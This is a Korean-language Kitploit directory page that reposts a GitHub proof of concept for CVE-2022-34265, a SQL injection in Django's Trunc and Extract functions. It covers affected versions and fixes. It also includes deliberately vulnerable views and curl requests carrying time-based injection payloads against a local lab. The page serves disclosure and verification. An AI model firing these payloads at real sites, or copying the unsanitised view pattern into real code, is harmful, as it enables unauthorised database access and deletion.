Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-34265 — CVE-2022-34265 (Django)용 PoC | Kitploit
도구/GitHubGitHub/aeyesec/cve-2022-34265
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingDatabase Security
GitHubaeyesec/cve-2022-34265

CVE-2022-34265

CVE-2022-34265 (Django)용 PoC

저장소 보기
1241534년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-34265

사용법

시작

root@kitploit:~
docker-compose build
docker-compose up -d

중지

root@kitploit:~
docker-compose down

Django 취약점 (CVE-2022-34265) PoC 검증

2022년 7월 5일(미국 시간)에 Django의 취약점(CVE-2022-34265)이 공개되었습니다. 이 글은 이 취약점에 대한 논의와 검증 결과를 설명합니다.

취약점 요약

이 취약점은 Django에서 날짜 데이터에 사용되는 Trunc 및 Extract 함수의 인자에 대해 SQL을 실행할 때 문자열 처리가 부적절하여 발생합니다. 요청 파라미터를 Trunc의 kind 인자 또는 Extract의 lookup_name 인자에 그대로 지정하면 임의의 SQL 문이 실행될 위험이 있습니다. 이 취약점을 악용하면 제3자가 데이터베이스에 명령을 보내 승인되지 않은 데이터에 접근하거나 데이터베이스를 삭제할 수 있습니다.

도구 다운로드

영향을 받는 버전

  • Django 3.2.x, 3.2.14 이전
  • Django 4.0.x, 4.0.6 이전

대응 조치

  • Django 3.2.14 이상으로 업데이트
  • Django 4.0.6 이상으로 업데이트

취약점 이력 및 고려 사항

과거 Django에서 발견된 많은 취약점은 SQL Injection 취약점이었으며, CVE-2020-7471과 같은 다른 취약점이 있는지 궁금하여 데이터베이스 함수 인자를 차례로 확인한 결과, 정화되지 않은 인자를 발견했고, Takuto Yoshikai(저자)가 이를 IPA와 Django 개발 팀에 보고했습니다.

그 결과, CVE-2022-34265를 해결한 릴리스에서는

  • 취약한 인자의 문자열 처리
    • 인자에 작은따옴표 등이 포함될 때 SQL 문 손상을 방지하기 위한 문자열 처리

다음과 같은 조치가 취해졌습니다.

검증 환경

  • ThinkPad Ubuntu20.04
  • Python 3.9.7
  • Django 4.0.5

검증 절차 및 결과

설정

  • 프로젝트 이름: project
  • 애플리케이션 이름: vuln

소스 코드

vuln/models.py

날짜의 시작 및 종료 시간을 기록하는 테이블의 모델로 Django Documentation의 예제를 사용했습니다.

root@kitploit:~
from django.db import models

class Experiment(models.Model):
    start_datetime = models.DateTimeField()
    start_date = models.DateField(null=True, blank=True)
    start_time = models.TimeField(null=True, blank=True)
    end_datetime = models.DateTimeField(null=True, blank=True)
    end_date = models.DateField(null=True, blank=True)
    end_time = models.TimeField(null=True, blank=True)

vuln/views.py

root@kitploit:~
from django.http.response import JsonResponse
from datetime import datetime
from django.db.models.functions import Extract, Trunc
from django.db.models import DateTimeField
from vuln.models import Experiment
from django.core import serializers

# /extract/?lookup_name=xxx

def vuln_extract(request):
    payload = request.GET.get('lookup_name')
    start = datetime(2015, 6, 15)
    end = datetime(2015, 7, 2)
    Experiment.objects.create(
        start_datetime=start, start_date=start.date(),
        end_datetime=end, end_date=end.date())
    experiments = Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
    return JsonResponse({"res": serializers.serialize("json", experiments)})

# /trunc/?kind=xxx
def vuln_trunc(request):
    payload = request.GET.get('kind')
    start = datetime(2015, 6, 15)
    end = datetime(2015, 7, 2)
    Experiment.objects.create(
        start_datetime=start, start_date=start.date(),
        end_datetime=end, end_date=end.date())
    experiments = Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
    return JsonResponse({"res": serializers.serialize("json", experiments)})

root@kitploit:~
# Extract
Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))

이는 Experiment의 start_datetime 열에서 end_datetime의 년, 월, 일, 시, 분, 초 등과 동일한 연도 번호를 필터링합니다. 여기서 SQL Injection 취약점이 트리거될 수 있습니다.

root@kitploit:~
# Trunc
Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))

Trunc 함수는 날짜 및 시간 데이터의 특정 년, 월, 일, 시, 분, 초 부분을 자르는 데 사용됩니다. 위의 예에서는 start_datetime과 payload 부분이 잘린 start_datetime이 동일한 레코드를 찾습니다. 여기서 SQL Injection 취약점이 트리거될 수 있습니다.

PoC

공격이 성공하는지 확인하기 위해 PG_SLEEP 명령어를 사용하여 응답 반환 시간에 지연이 있는지 확인합니다.

root@kitploit:~
# 정상 URL
curl "http://localhost:4131/extract/?lookup_name=year"
curl "http://localhost:4131/trunc/?kind=year"

# 데이터베이스 명령어가 실행될 수 있는 URL
curl "http://localhost:4131/extract/?lookup_name=year%27%20FROM%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
curl "http://localhost:4131/trunc/?kind=year%27,%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"

PG_SLEEP에 5초를 지정했지만 PG_SLEEP(5)는 몇 초가 걸리는 것으로 보입니다. 구현 및 상황에 따라 몇 초가 호출되는 것으로 보입니다. 임의의 SQL 문을 실행할 수 있으므로 데이터베이스 삭제와 같은 위험한 공격이 가능합니다.

요약

논의 및 검증 결과, 구현에 따라 공격이 성공할 가능성이 적지 않음을 발견했습니다. 최악의 경우 DROP TABLE의 위험을 피하기 위해 가능한 한 빨리 시스템을 업데이트할 것을 권장합니다.

참고 정보

  • https://www.djangoproject.com/weblog/2022/jul/04/security-releases/
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34265
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7471